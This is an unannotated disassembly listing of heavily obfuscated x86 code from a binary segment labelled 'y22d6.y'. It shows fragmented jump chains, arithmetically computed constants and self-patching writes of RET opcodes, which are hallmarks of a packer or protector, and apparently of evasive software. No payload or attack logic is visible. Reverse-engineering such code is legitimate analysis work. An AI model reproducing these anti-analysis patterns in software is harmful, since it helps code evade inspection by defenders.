loc_437CB7 ; END OF FUNCTION CHUNK FOR sub_43AF5B ; --------------------------------------------------------------------------- loc_442F94: ; CODE XREF: y22d6.y.:00445B32j xchg edi, [eax] ; =============== S U B R O U T I N E ======================================= sub_442F96 proc near ; CODE XREF: sub_437901:loc_43BE07p ; FUNCTION CHUNK AT 0043DCE5 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx push ebp mov ebp, eax push offset loc_43F52F jmp loc_43DCE5 sub_442F96 endp ; =============== S U B R O U T I N E ======================================= sub_442FA7 proc near ; CODE XREF: sub_44D313-AC3Ap ; y22d6.y.:004477E1j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00437AD6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00439006 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043C38C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043C5D6 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0043C64E SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004494E6 SIZE 00000013 BYTES xchg ecx, [esp+0] pop ecx mov eax, [eax] add eax, [ebp-4] call sub_43AB31 cmp eax, [ebp-8] jnz loc_440F3F jmp loc_43C38C sub_442FA7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447D7F loc_442FC3: ; CODE XREF: sub_447D7F-2583j jnz loc_44B980 xchg ebp, [ebx] sbb edx, edi jmp loc_44B97B ; END OF FUNCTION CHUNK FOR sub_447D7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A6E1 loc_442FD2: ; CODE XREF: sub_43A6E1:loc_43ACC1j xor eax, 0F4FEA340h call sub_43CA1A mov ds:dword_41E110, eax call sub_44DAA6 ; END OF FUNCTION CHUNK FOR sub_43A6E1 ; START OF FUNCTION CHUNK FOR sub_44C980 loc_442FE8: ; CODE XREF: sub_44C980+3j jmp loc_44D7FF ; END OF FUNCTION CHUNK FOR sub_44C980 ; --------------------------------------------------------------------------- add edi, 485C05BCh jmp sub_449BBC ; --------------------------------------------------------------------------- mov ds:off_41E074, eax lea eax, loc_44B5EA call sub_444865 ; START OF FUNCTION CHUNK FOR sub_43D20E loc_443009: ; CODE XREF: sub_43D20E-17B4j jmp loc_44DC15 ; END OF FUNCTION CHUNK FOR sub_43D20E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B9F3 loc_44300E: ; CODE XREF: sub_43B9F3+Bj jmp loc_4414B0 ; END OF FUNCTION CHUNK FOR sub_43B9F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C242 loc_443013: ; CODE XREF: sub_43C242+1C8j shl ecx, 7 loc_443016: ; CODE XREF: sub_44807C:loc_4376E7j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_440251 jmp loc_44E3C5 ; END OF FUNCTION CHUNK FOR sub_43C242 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- dword_443028 dd 0B3C2D08h ; DATA XREF: sub_440D11+10w ; sub_43704E:loc_44408Cr ; --------------------------------------------------------------------------- call nullsub_7 jmp ds:dword_41E0B4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- inc ecx mov ebx, 0CDE90044h retf ; --------------------------------------------------------------------------- db 0FFh dd 0FE8F0FFFh, 0E9000020h, 147Dh ; --------------------------------------------------------------------------- loc_44304C: ; CODE XREF: y22d6.y.:00442E1Aj mov esi, ecx ; =============== S U B R O U T I N E ======================================= sub_44304E proc near ; CODE XREF: sub_448C77+Ap arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0043EDF1 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx call sub_43CA1A mov ds:off_41E12C, eax lea eax, sub_441A2B loc_443063: ; CODE XREF: sub_446082-8960j mov byte ptr [eax], 0C3h jmp loc_43EDF1 sub_44304E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44306B: ; CODE XREF: sub_448EB6+11Aj pop ecx rol esi, 1Ah xor esi, 0BB5DC33Ch add eax, esi pop esi ror eax, 12h jmp loc_443BFF ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- loc_443080: ; CODE XREF: y22d6.y.:00439161j push 30634A03h ; START OF FUNCTION CHUNK FOR sub_44B17B loc_443085: ; CODE XREF: sub_44B17B:loc_43914Ej xor ebx, 0BFEDC30Fh and ebx, 8CB60EA5h test ebx, 200000h jmp loc_447130 ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- mov eax, [ebp-1Ch] push 0D0714680h pop edx add edx, 2D07D4ACh sub edx, 0C3B711Dh add edx, 3D919DDEh add edx, ebp add edx, 0D130B7FFh jmp loc_43E9AB ; --------------------------------------------------------------------------- loc_4430C4: ; DATA XREF: sub_44CB3F-15986o mov eax, [ebp-20h] push offset sub_444717 jmp loc_4484B7 ; --------------------------------------------------------------------------- loc_4430D1: ; DATA XREF: sub_43BC16-3B7Eo push eax mov eax, edx call sub_44C7F1 ; START OF FUNCTION CHUNK FOR sub_444183 loc_4430D9: ; CODE XREF: sub_444183+Bj jmp loc_44C6B3 ; END OF FUNCTION CHUNK FOR sub_444183 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A6E1 loc_4430DE: ; CODE XREF: sub_43A6E1:loc_446DB1j jl loc_43ACB5 jg loc_44B109 cmp ebx, 7C80B826h jmp loc_43DEF1 ; END OF FUNCTION CHUNK FOR sub_43A6E1 ; --------------------------------------------------------------------------- sub edi, 920E9DC4h jmp loc_448C71 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44057E loc_443100: ; CODE XREF: sub_44057E+C048j jno loc_445746 loc_443106: ; CODE XREF: sub_447CBE-F7A2j ; y22d6.y.:00447022j ... mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_44057E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441DC7 loc_44310A: ; CODE XREF: sub_441DC7-3EEFj jmp nullsub_53 ; END OF FUNCTION CHUNK FOR sub_441DC7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44057E loc_44310F: ; CODE XREF: sub_44057E-5517j push 9B1CC7E8h pop eax jmp loc_43B6CC ; END OF FUNCTION CHUNK FOR sub_44057E ; --------------------------------------------------------------------------- loc_44311A: ; CODE XREF: y22d6.y.:loc_44E02Aj mov eax, 851AF986h call sub_444581 mov ds:off_41E210, eax call sub_43F0F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444F37 loc_44312F: ; CODE XREF: sub_444F37+144Fj jmp loc_444D5A ; END OF FUNCTION CHUNK FOR sub_444F37 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AA69 loc_443134: ; CODE XREF: sub_44AA69-D74Aj jo loc_4389C7 ; END OF FUNCTION CHUNK FOR sub_44AA69 ; =============== S U B R O U T I N E ======================================= sub_44313A proc near ; CODE XREF: sub_44313A+9FE7p arg_4 = dword ptr 8 arg_C = dword ptr 10h arg_10 = dword ptr 14h ; FUNCTION CHUNK AT 004381D9 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00442121 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 004437A8 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00448952 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0044977B SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0044B20C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044BF5C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044D112 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0044DE01 SIZE 0000001E BYTES xchg edx, [esp+0] pop edx pop edi lea eax, loc_4437A8 mov byte ptr [eax], 0C3h jmp loc_44BF5C sub_44313A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_44314D proc near ; CODE XREF: sub_419FEC+78p ; sub_44314D+5j ; DATA XREF: ... call sub_446425 jmp ds:off_41E09C sub_44314D endp ; --------------------------------------------------------------------------- locret_443158: ; CODE XREF: y22d6.y.:0044A182j retn ; --------------------------------------------------------------------------- loc_443159: ; CODE XREF: y22d6.y.:0044BE75j jmp loc_4498FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4480DE loc_44315E: ; CODE XREF: sub_4480DE-CB1Aj jmp loc_44C9B3 ; END OF FUNCTION CHUNK FOR sub_4480DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B1D2 loc_443163: ; CODE XREF: sub_44B1D2+68Fj cdq jmp loc_43AE2F ; END OF FUNCTION CHUNK FOR sub_44B1D2 ; =============== S U B R O U T I N E ======================================= sub_443169 proc near ; CODE XREF: sub_441030:loc_441BA5j ; FUNCTION CHUNK AT 00440573 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00445F5F SIZE 0000000E BYTES push ebx push 7313F574h pop ebx or ebx, 5E510384h add ebx, 80EDE88Ch mov [ebx], eax pop ebx jmp loc_440573 sub_443169 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444D95 loc_443184: ; CODE XREF: sub_444D95:loc_43F943j mov eax, [ebp-4] mov al, [eax] and al, 0F6h cmp al, 0C2h jz loc_43A39A jmp loc_44DDC3 ; END OF FUNCTION CHUNK FOR sub_444D95 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449641 loc_443198: ; CODE XREF: sub_449641:loc_448460j xchg esi, [esp+0Ch+var_C] push 2463448Ah pop eax rol eax, 1Ah or eax, 2477B556h rol eax, 1 test eax, 400h jmp loc_43D787 ; END OF FUNCTION CHUNK FOR sub_449641 ; --------------------------------------------------------------------------- loc_4431B7: ; CODE XREF: y22d6.y.:0044026Aj add eax, 0D120056h ; START OF FUNCTION CHUNK FOR sub_44256D loc_4431BD: ; CODE XREF: sub_44256D:loc_445DA2j shl eax, cl not eax and ebx, eax call sub_4435D6 loc_4431C8: ; CODE XREF: sub_440280:loc_437573j jmp loc_43F1B7 ; END OF FUNCTION CHUNK FOR sub_44256D ; =============== S U B R O U T I N E ======================================= sub_4431CD proc near ; DATA XREF: sub_4456EB+8o ; FUNCTION CHUNK AT 00437618 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00437FF9 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0043DC2F SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0043EDB3 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 004421FB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00442502 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00443964 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 004449B0 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00445A28 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00446528 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044AB35 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0044D89E SIZE 0000000D BYTES pop edx mov [ebp-4], eax inc dword ptr [ebp-0Ch] dec dword ptr [ebp-18h] jnz loc_439D2D jmp loc_446528 sub_4431CD endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A148 loc_4431E2: ; CODE XREF: sub_43A148:loc_43BE1Fj cmp eax, 29F174E3h jmp loc_4383F8 ; END OF FUNCTION CHUNK FOR sub_43A148 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44ACEA loc_4431ED: ; CODE XREF: sub_44ACEA+Aj xor eax, edx loc_4431EF: ; CODE XREF: sub_43B09B:loc_43B336j pop edx add eax, 0F1CE5CE6h ror eax, 2 push esi jmp loc_441310 ; END OF FUNCTION CHUNK FOR sub_44ACEA ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_308. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_443200: ; CODE XREF: y22d6.y.:0043E9F4j jmp sub_43CA1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4404D1 loc_443205: ; CODE XREF: sub_4404D1:loc_4404DAj sub ebx, 10000h mov eax, [ebx] neg eax jmp loc_448029 ; END OF FUNCTION CHUNK FOR sub_4404D1 ; --------------------------------------------------------------------------- loc_443214: ; CODE XREF: y22d6.y.:0044C004j ja loc_438729 push 33F08175h ; START OF FUNCTION CHUNK FOR sub_43C55B loc_44321F: ; CODE XREF: sub_43C55B:loc_44BFEFj add eax, 2522DE31h call sub_43CA1A jmp loc_44B5D4 ; END OF FUNCTION CHUNK FOR sub_43C55B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4414E8 loc_44322F: ; CODE XREF: sub_4414E8:loc_44794Fj pop esi and esi, 7B631E5h xor esi, ds:4000E9h or esi, 3F624B51h xor esi, 0DE9037CDh push offset sub_44CCBC jmp nullsub_363 ; END OF FUNCTION CHUNK FOR sub_4414E8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_170. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_443253: ; CODE XREF: y22d6.y.:00439CD3j jmp sub_44A413 ; =============== S U B R O U T I N E ======================================= sub_443258 proc near ; CODE XREF: y22d6.y.:00445509j ; sub_43AD19+132A3p xchg eax, [esp+0] pop eax mov byte ptr [eax], 0C3h jmp nullsub_17 sub_443258 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push offset sub_4400D5 jmp loc_43BC76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44156E loc_44326E: ; CODE XREF: sub_44156E-9F9j pop ecx adc eax, edx cmp eax, 23F76356h jmp loc_44D213 ; END OF FUNCTION CHUNK FOR sub_44156E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_52. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_44327D: ; CODE XREF: y22d6.y.:0044AD6Dj jmp loc_442CC9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_443282: ; CODE XREF: sub_448EB6-8714j jnz loc_444970 loc_443288: ; CODE XREF: sub_448EB6+D4Cj add eax, 4157A6B0h push offset sub_44E63C jmp loc_438D54 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_443298: ; CODE XREF: sub_4432B8:loc_44CE93j xor ecx, 0FA9ACDFDh ror ebp, 6 jmp loc_44C0A3 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4410E0 loc_4432A6: ; CODE XREF: sub_4410E0+3988j jnb loc_440FC1 loc_4432AC: ; CODE XREF: y22d6.y.:loc_43F9F0j jmp loc_43AB90 ; END OF FUNCTION CHUNK FOR sub_4410E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437B43 loc_4432B1: ; CODE XREF: sub_437B43:loc_444360j or eax, ebp jmp loc_44A42D ; END OF FUNCTION CHUNK FOR sub_437B43 ; =============== S U B R O U T I N E ======================================= sub_4432B8 proc near ; CODE XREF: y22d6.y.:00437049j ; sub_4388E5:loc_43EFF6p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00437072 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00437549 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 004377BF SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043782E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00437E96 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00437EA1 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00437F19 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043806D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043808C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 004380C8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043818C SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00438353 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 004383CB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043863C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00438A32 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00438D10 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00438F74 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043969C SIZE 00000007 BYTES ; FUNCTION CHUNK AT 004398D8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004399DA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00439B96 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043A335 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043A41E SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0043A43C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043A523 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0043A9E3 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0043B224 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0043B392 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043B448 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043B547 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043B650 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043B932 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043BE5E SIZE 00000003 BYTES ; FUNCTION CHUNK AT 0043C26F SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0043C77F SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0043CC6F SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0043CD1B SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0043CE35 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043D020 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043D0DE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043D1F0 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0043D298 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043D390 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0043D9F9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043DE25 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0043E863 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0043E872 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043EB43 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0043F08C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F299 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F2A3 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0043F4FC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F7AB SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0043FA42 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0043FFF9 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00440168 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004404CA SIZE 00000007 BYTES ; FUNCTION CHUNK AT 004406EE SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00440850 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00440C91 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044117A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004411CC SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0044150E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0044162F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 004417F1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004419C1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004419FE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00442176 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 004422EB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00442326 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 004423DC SIZE 00000017 BYTES ; FUNCTION CHUNK AT 004425B0 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004426BA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004426DE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004429E6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00442A4C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00442EBA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00443298 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00443948 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00443D6B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00443E28 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00443FA4 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 004442DB SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0044447D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00444734 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0044479E SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00444C65 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00444DA4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00444FCD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00445016 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 004450CE SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00445295 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004452B7 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0044552D SIZE 00000017 BYTES ; FUNCTION CHUNK AT 004455C2 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004456B4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004458AC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00445E64 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044626C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004463C9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004464D7 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00446E27 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00446FB5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00446FF7 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0044702D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00447100 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004474A8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004475AE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004479D7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00447EBA SIZE 0000000C BYTES ; FUNCTION CHUNK AT 004484C1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004484EA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00448878 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00448991 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00448C59 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 004494B9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00449501 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00449D28 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00449F56 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00449FAE SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0044A43C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044A789 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044AB59 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0044ABE3 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044B0D0 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0044B2FC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044B559 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044B66A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044B925 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0044B96B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044C0A3 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0044C77E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044C788 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044CABB SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0044CE93 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0044D40C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044D489 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0044D867 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0044DA7A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0044DCEA SIZE 00000006 BYTES xchg edx, [esp+4+var_4] pop edx push esi mov esi, ecx xchg esi, [esp+4+var_4] mov esp, ebp jmp loc_4435B7 ; --------------------------------------------------------------------------- loc_4432C9: ; CODE XREF: sub_44C758:loc_442702j jz loc_437708 jmp loc_4422EB ; --------------------------------------------------------------------------- locret_4432D4: ; CODE XREF: sub_44B27F:loc_43F4A4j retn ; --------------------------------------------------------------------------- loc_4432D5: ; CODE XREF: sub_444427+4E4Cj jmp sub_44B27F ; --------------------------------------------------------------------------- loc_4432DA: ; CODE XREF: sub_448C36+13j jmp loc_44150E ; --------------------------------------------------------------------------- loc_4432DF: ; CODE XREF: y22d6.y.:00444E95j jmp loc_443CF1 ; --------------------------------------------------------------------------- loc_4432E4: ; CODE XREF: sub_43C17E:loc_439270j mov eax, edi pop edi sub eax, 0E431B06h add eax, 0EF01E950h xchg eax, [esp+0] jmp loc_449D28 ; --------------------------------------------------------------------------- loc_4432FB: ; CODE XREF: y22d6.y.:loc_43D57Cj xor ebx, 1574A34Ch sub ebx, 0CE63F584h and ebx, 69761268h xor ebx, 3867677Bh add ebx, 0A700ACE5h call sub_4422BA loc_44331E: ; CODE XREF: sub_43E037+C02Fj jmp loc_44A43C ; --------------------------------------------------------------------------- mov eax, 3CC6743Ch push eax push 0E763A9B2h pop eax and eax, 7C102480h add eax, 9C445BBAh jmp loc_44702D ; --------------------------------------------------------------------------- loc_443340: ; CODE XREF: sub_44057E:loc_4385A2j push edx call sub_440AF5 mov eax, 475BA966h call sub_43F7FF mov ds:off_41E018, eax lea eax, sub_44D83F mov byte ptr [eax], 0C3h jmp loc_44B559 ; --------------------------------------------------------------------------- loc_443364: ; CODE XREF: sub_44D83Fj push offset sub_4496E3 jmp loc_437072 ; --------------------------------------------------------------------------- loc_44336E: ; CODE XREF: sub_44A5E5-7CBj push 1861CBCBh pop ecx xor ecx, 2B6D42A1h add ecx, 0FA01086Eh or ecx, 2BE5D785h add ecx, 0D055D3EBh xchg ecx, [esp+0Ch+var_C] jmp sub_43EF0B ; --------------------------------------------------------------------------- loc_443394: ; CODE XREF: y22d6.y.:00437E6Ej jmp loc_4456B4 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_44339A: ; CODE XREF: y22d6.y.:loc_442B94j ; sub_4496E3+13Bj jmp nullsub_99 ; --------------------------------------------------------------------------- loc_44339F: ; CODE XREF: y22d6.y.:00437E69p push edx mov edx, ebp xchg edx, [esp+10h+var_10] mov ebp, esp loc_4433A7: ; CODE XREF: sub_43FBC3:loc_43B470j push ecx jmp loc_43CE35 ; --------------------------------------------------------------------------- loc_4433AD: ; CODE XREF: sub_446222-68F7j push ebx push 0C887F55Dh pop ebx rol ebx, 1 jmp loc_44552D ; --------------------------------------------------------------------------- loc_4433BB: ; CODE XREF: y22d6.y.:0044D9E4j pop edx shl edi, 13h jmp loc_441298 ; --------------------------------------------------------------------------- jnp loc_43DE25 loc_4433CA: ; CODE XREF: sub_44057E:loc_43AD7Ej jmp loc_43D207 ; --------------------------------------------------------------------------- loc_4433CF: ; CODE XREF: sub_43F8FE+C582p ; y22d6.y.:0044CA36j xchg eax, [esp+14h+var_14] pop eax push eax mov eax, [ebp+8] test byte ptr [eax-8], 8 setnz al call sub_443954 pop ecx jmp loc_43B932 ; --------------------------------------------------------------------------- loc_4433E9: ; CODE XREF: y22d6.y.:0043AACDj jle loc_43D0DE rol edx, 0Eh and ebp, ecx jmp loc_43E872 ; --------------------------------------------------------------------------- loc_4433F9: ; CODE XREF: y22d6.y.:0043D6FDj cmp ecx, 0D80B0D38h jmp loc_444C65 ; --------------------------------------------------------------------------- loc_443404: ; CODE XREF: y22d6.y.:0043E04Fj ; y22d6.y.:0044DA02j mov eax, [ebp+8] mov eax, [eax-8] or eax, 8 or eax, 10h jmp loc_43F299 ; --------------------------------------------------------------------------- loc_443415: ; CODE XREF: y22d6.y.:0043970Aj jge loc_43EB43 sub esi, 55839EBCh jmp loc_4371C3 ; --------------------------------------------------------------------------- loc_443426: ; CODE XREF: sub_43E7F3:loc_43E7FEj mov eax, ecx xchg eax, [esp+10h+var_10] mov ecx, eax xchg ecx, [esp+10h+var_10] lea eax, dword_440E88 push esi jmp loc_447100 ; --------------------------------------------------------------------------- not esi jmp sub_4416F3 ; --------------------------------------------------------------------------- loc_443443: ; DATA XREF: sub_44731A-9892o mov edx, [ebp-14h] add eax, [edx+20h] xor edx, edx push edx loc_44344C: ; CODE XREF: y22d6.y.:00437AB5j jmp loc_4475AE ; --------------------------------------------------------------------------- loc_443451: ; CODE XREF: sub_441A2B:loc_444597j ; y22d6.y.:0044E08Cj rol eax, 1Eh xor eax, 0BF1AF29Eh push ecx pushf jmp loc_4494B9 ; 